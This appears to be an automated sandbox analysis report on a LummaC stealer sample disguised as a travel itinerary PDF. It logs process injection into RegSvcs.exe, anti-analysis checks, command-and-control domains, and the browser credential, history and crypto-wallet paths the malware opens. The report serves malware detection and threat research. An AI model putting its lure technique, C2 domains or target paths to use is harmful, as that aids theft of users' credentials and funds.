Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2264 --field-trial-handle=1500,i,10956060416113398511,1382103396325876287,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior

Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Navan - Itinerary.pdf.scr.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: Navan - Itinerary.pdf.scr.exe

Static file information: File size 1638400 > 1048576

Source: Navan - Itinerary.pdf.scr.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x16a800

Source: Navan - Itinerary.pdf.scr.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: Navan - Itinerary.pdf.scr.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: Navan - Itinerary.pdf.scr.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: Navan - Itinerary.pdf.scr.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Navan - Itinerary.pdf.scr.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: Navan - Itinerary.pdf.scr.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: Navan - Itinerary.pdf.scr.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: Navan - Itinerary.pdf.scr.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Code function: 0_2_00665860 push eax; ret	0_2_0066587E
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Code function: 0_2_0050C04B pushad ; ret	0_2_0050C054
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Code function: 0_2_0050B03F pushad ; ret	0_2_0050B040
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Code function: 0_2_0050C8FE pushad ; ret	0_2_0050C8FF
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Code function: 0_2_0050B8EA pushad ; ret	0_2_0050B8EB
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Code function: 0_2_0050C195 pushad ; ret	0_2_0050C196
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Code function: 0_2_0050D1A9 pushad ; ret	0_2_0050D1AA
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Code function: 0_2_0050CA40 pushad ; ret	0_2_0050CA41
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Code function: 0_2_00507AF3 pushad ; ret	0_2_00507AF4
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Code function: 0_2_0050839E pushad ; ret	0_2_0050839F
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Code function: 0_2_00508C51 pushad ; ret	0_2_00508C52
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Code function: 0_2_005094FC pushad ; ret	0_2_005094FD
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Code function: 0_2_00508D93 pushad ; ret	0_2_00508D94
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Code function: 0_2_00509DA7 pushad ; ret	0_2_00509DA8
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Code function: 0_2_0050A652 pushad ; ret	0_2_0050A653
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Code function: 0_2_0050AEFD pushad ; ret	0_2_0050AEFE
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Code function: 0_2_00509EE9 pushad ; ret	0_2_00509EEA
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Code function: 0_2_0050A794 pushad ; ret	0_2_0050A795
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Code function: 0_2_0050B7A8 pushad ; ret	0_2_0050B7A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0043D810 push eax; mov dword ptr [esp], 707F7E0Dh	13_2_0043D812
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_00443469 push ebp; iretd	13_2_0044346C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0044366E push 9F00CD97h; ret	13_2_004436B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0043AE30 push eax; mov dword ptr [esp], 1D1E1F10h	13_2_0043AE3E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_0044171E push esp; ret	13_2_0044171F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 13_2_004477A5 push ebp; iretd	13_2_004477AA

Hooking and other Techniques for Hiding and Protection

Uses an obfuscated file name to hide its real file extension (double extension)

Source: Possible double extension: pdf.scr

Static PE information: Navan - Itinerary.pdf.scr.exe

Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe

API coverage: 7.6 %

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe

Code function: 0_2_005D7458 GetSystemInfo,

0_2_005D7458

Source: Navan - Itinerary.pdf.scr.exe, 00000000.00000002.1638313764.0000000000C4C000.00000004.00000020.00020000.00000000.sdmp, Navan - Itinerary.pdf.scr.exe, 00000000.00000003.1637597165.0000000000C83000.00000004.00000020.00020000.00000000.sdmp, Navan - Itinerary.pdf.scr.exe, 00000000.00000002.1638313764.0000000000C83000.00000004.00000020.00020000.00000000.sdmp, Navan - Itinerary.pdf.scr.exe, 00000000.00000003.1637597165.0000000000C4C000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.1636367348.00000000011D9000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.1636297807.000000000119C000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 13_2_0043C1F0 LdrInitializeThunk,

13_2_0043C1F0

Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe

Code function: 0_2_006653A4 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_006653A4

Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Code function: 0_2_006653A4 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_006653A4
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Code function: 0_2_006655FE SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_006655FE

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: Navan - Itinerary.pdf.scr.exe, 00000000.00000003.1637419427.00000000038C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: Navan - Itinerary.pdf.scr.exe, 00000000.00000003.1637419427.00000000038C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: Navan - Itinerary.pdf.scr.exe, 00000000.00000003.1637419427.00000000038C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: Navan - Itinerary.pdf.scr.exe, 00000000.00000003.1637419427.00000000038C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: Navan - Itinerary.pdf.scr.exe, 00000000.00000003.1637419427.00000000038C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: Navan - Itinerary.pdf.scr.exe, 00000000.00000003.1637419427.00000000038C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: Navan - Itinerary.pdf.scr.exe, 00000000.00000003.1637419427.00000000038C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: Navan - Itinerary.pdf.scr.exe, 00000000.00000003.1637419427.00000000038C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 440000	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 443000	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 452000	Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: F4B008	Jump to behavior

Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\NavanItinerary.pdf"			Jump to behavior
Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\Navan - Itinerary.pdf.scr.exe

Code function: 0_2_00665294 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00665294

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: RegSvcs.exe, 0000000D.00000002.1636367348.000000000122A000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.1636367348.00000000011D9000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000D.00000002.1636297807.00000000011B1000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegSvcs.exe, 0000000D.00000002.1636367348.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: RegSvcs.exe, 0000000D.00000002.1636367348.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: RegSvcs.exe, 0000000D.00000002.1636367348.000000000122A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: y.jaxx\I
Source: RegSvcs.exe, 0000000D.00000002.1636367348.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: RegSvcs.exe, 0000000D.00000002.1636367348.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
